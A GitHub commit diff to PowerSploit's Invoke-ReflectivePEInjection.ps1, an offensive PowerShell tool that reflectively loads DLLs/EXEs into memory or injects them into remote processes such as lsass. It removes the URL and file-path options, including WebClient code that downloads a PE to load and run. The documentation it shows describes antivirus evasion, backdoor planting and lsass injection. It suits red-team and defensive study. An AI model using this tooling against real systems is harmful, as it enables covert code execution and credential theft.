Skip to content

Commit 992f980

Browse files
Matt GraeberMatt Graeber
Matt Graeber
authored and
Matt Graeber
committed
Removed extraneous parameters
Removed extraneous parameters Removed the following extraneous parameters: -PEPath -PEUrl The functionality they provided can be easily replicated in code outside of Invoke-ReflectivePEInjection. i.e. it should be up to the user how they might want to download a PE before loading it. That should not be dictated by Invoke-ReflectivePEInjection.
1 parent b8e831e commit 992f980

1 file changed

Lines changed: 13 additions & 58 deletions

File tree

‎CodeExecution/Invoke-ReflectivePEInjection.ps1‎

Lines changed: 13 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -7,46 +7,30 @@ This script has two modes. It can reflectively load a DLL/EXE in to the PowerShe
77
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
88
please lead the Notes section (GENERAL NOTES) for information on how to use them.
99
10-
1110
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
1211
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
1312
1413
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
1514
this will load and execute the DLL/EXE in to memory without writing any files to disk.
1615
17-
1816
2.) Reflectively load a DLL in to memory of a remote process.
1917
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
2018
2119
This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
2220
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
2321
remote process.
2422
25-
26-
While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
27-
containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
28-
bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
29-
blog linked below (thanks to whitey).
30-
3123
PowerSploit Function: Invoke-ReflectivePEInjection
3224
Author: Joe Bialek, Twitter: @JosephBialek
25+
Code review and modifications: Matt Graeber, Twitter: @mattifestation
3326
License: BSD 3-Clause
3427
Required Dependencies: None
3528
Optional Dependencies: None
36-
Version: 1.4
3729
3830
.DESCRIPTION
3931
4032
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
4133
42-
.PARAMETER PEPath
43-
44-
The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
45-
46-
.PARAMETER PEUrl
47-
48-
A URL containing a DLL/EXE to load and execute.
49-
5034
.PARAMETER PEBytes
5135
5236
A byte array containing a DLL/EXE to load and execute.
@@ -81,40 +65,34 @@ Optional, will force the use of ASLR on the PE being loaded even if the PE indic
8165
8266
.EXAMPLE
8367
84-
Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
85-
Note that the file name on the website can be any file extension.
86-
Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
87-
88-
.EXAMPLE
89-
9068
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
91-
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
69+
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
70+
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local
9271
9372
.EXAMPLE
9473
9574
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
9675
the wchar_t* returned by WStringFunc() from all the computers.
97-
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
76+
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
77+
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
9878
9979
.EXAMPLE
10080
10181
Load DemoEXE and run it locally.
102-
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
82+
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
83+
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
10384
10485
.EXAMPLE
10586
10687
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
107-
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
88+
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
89+
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
10890
10991
.EXAMPLE
11092
11193
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
112-
Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
113-
114-
.EXAMPLE
115-
116-
Load a PE from a byte array.
117-
Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
94+
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')
95+
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local
11896
11997
.NOTES
12098
GENERAL NOTES:
@@ -134,8 +112,6 @@ The script has 3 basic sets of functionality:
134112
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
135113
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
136114
137-
138-
139115
DLL LOADING NOTES:
140116
141117
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
@@ -182,17 +158,9 @@ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/b
182158
183159
#>
184160

185-
[CmdletBinding(DefaultParameterSetName="WebFile")]
161+
[CmdletBinding()]
186162
Param(
187-
[Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)]
188-
[String]
189-
$PEPath,
190-
191-
[Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)]
192-
[Uri]
193-
$PEUrl,
194-
195-
[Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)]
163+
[Parameter(Position = 0, Mandatory = $true)]
196164
[ValidateNotNullOrEmpty()]
197165
[Byte[]]
198166
$PEBytes,
@@ -218,7 +186,6 @@ Param(
218186
[String]
219187
$ProcName,
220188

221-
[Parameter(Position = 6)]
222189
[Switch]
223190
$ForceASLR
224191
)
@@ -2900,18 +2867,6 @@ Function Main
29002867

29012868
Write-Verbose "PowerShell ProcessID: $PID"
29022869

2903-
if ($PsCmdlet.ParameterSetName -ieq "LocalFile")
2904-
{
2905-
Get-ChildItem $PEPath -ErrorAction Stop | Out-Null
2906-
[Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath))
2907-
}
2908-
elseif ($PsCmdlet.ParameterSetName -ieq "WebFile")
2909-
{
2910-
$WebClient = New-Object System.Net.WebClient
2911-
2912-
[Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl)
2913-
}
2914-
29152870
#Verify the image is a valid PE file
29162871
$e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
29172872

0 commit comments

Comments
 (0)